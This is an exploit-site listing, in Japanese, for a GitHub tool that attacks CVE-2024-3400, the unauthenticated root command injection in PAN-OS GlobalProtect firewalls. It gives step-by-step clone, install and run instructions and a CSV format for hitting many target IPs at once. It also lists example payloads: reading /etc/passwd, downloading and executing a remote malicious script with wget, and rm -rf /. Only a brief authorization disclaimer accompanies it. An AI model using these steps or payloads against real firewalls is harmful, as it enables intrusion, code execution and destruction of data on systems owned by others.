Sploitus

Exploit for CVE-2024-3400

kitploit · 2026-09-02

Exploit Code

MARKDOWN127 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YUVVI01-CVE-2024-3400
# PAN-OS ファイアウォール エクスプロイト スクリプト

このスクリプトは、PAN-OS ファイアウォールの脆弱性を悪用するデモを目的としています。特別に細工されたペイロードをファイアウォールのAPIエンドポイントに送信し、任意のコマンドを実行します。このエクスプロイトは、特定のPAN-OSバージョン向けのPalo Alto Networks PAN-OSソフトウェアのGlobalProtect機能におけるコマンドインジェクションの脆弱性であるCVE-2024-3400を標的にしています。特定の機能構成により、認証されていない攻撃者がファイアウォール上でroot権限で任意のコードを実行できる可能性があります。

**注:** このスクリプトは、法的かつ倫理的な目的でのみ、テストする許可を得たマシンでのみ使用してください。

## 使用法

このプロジェクトを使用するには、次の手順に従ってください:

  1. このリポジトリをクローンします: 

root@kitploit:~
         
         git clone https://github.com/Yuvvi01/CVE-2024-3400
         
         

  2. リポジトリのディレクトリに移動します: 

root@kitploit:~
         
         cd CVE-2024-3400
         
         

  3. 必要なモジュールをインストールします: 

root@kitploit:~
         
         pip install -r requirements.txt
         
         

  4. Pythonスクリプトを実行します: 

root@kitploit:~
         
         python3 exploit.py
         




プロンプトに従って、脆弱なPAN-OSファイアウォールのIPアドレスと実行するペイロードを入力します。

## ペイロードの例

  1. ディレクトリの内容を一覧表示: 

root@kitploit:~
         
         ls -la
         
         

  2. 特定のファイルの内容を表示: 

root@kitploit:~
         
         cat /etc/passwd
         
         

  3. 現在ログインしているユーザーのユーザー名を表示: 

root@kitploit:~
         
         whoami
         
         

  4. インターネットからファイルをダウンロード(wgetまたはcurlがインストールされている必要があります): 

root@kitploit:~
         
         wget http://example.com/malicious_script.sh -O /tmp/malicious_script.sh && chmod +x /tmp/malicious_script.sh && /tmp/malicious_script.sh
         
         

  5. これは非常に注意してください: 

root@kitploit:~
         
         rm -rf /
         




## 安全な使用のための手順

### SSL証明書の検証

スクリプトは、PAN-OSファイアウォールサーバーからSSL証明書のファイルパスを尋ねます。パスが指定されていない場合、スクリプトは自動的にSSL検証をfalseに設定し、実質的にSSLを無効にします。

## CSVファイルの手順

このスクリプトを使用すると、CSVファイルを使って脆弱なPAN-OSファイアウォールの複数のターゲットを悪用できます。以下は、CSVファイルを正しくフォーマットするための手順です:

### CSVファイルの形式

CSVファイルには3つの列が必要です:

ipaddress: 脆弱なPAN-OSファイアウォールのIPアドレス。 payload: ファイアウォール上で実行するペイロード。 path/to/root_CA_certificate.pem: ルートCA証明書へのパス(証明書検証が無効の場合は空白のままにします)。

  * CSVファイルの例: 

root@kitploit:~
        
        ipaddress,payload,path/to/root_CA_certificate.pem
        192.168.1.1,exploit_payload1,/path/to/certificate.pem
        192.168.1.2,exploit_payload2,
        




### 手順:

指定された形式でCSVファイルを作成します。 IPアドレス、ペイロード、およびルートCA証明書のパス(該当する場合)を入力します。 ルートCA証明書への有効なパスを指定するか、証明書検証が無効の場合はフィールドを空白のままにしてください。 スクリプトを実行し、プロンプトが表示されたらCSVファイルを使用するオプションを選択します。

## 参考文献

  * https://www.bleepingcomputer.com/news/security/palo-alto-networks-warns-of-pan-os-firewall-zero-day-used-in-attacks/
  * https://security.paloaltonetworks.com/CVE-2024-3400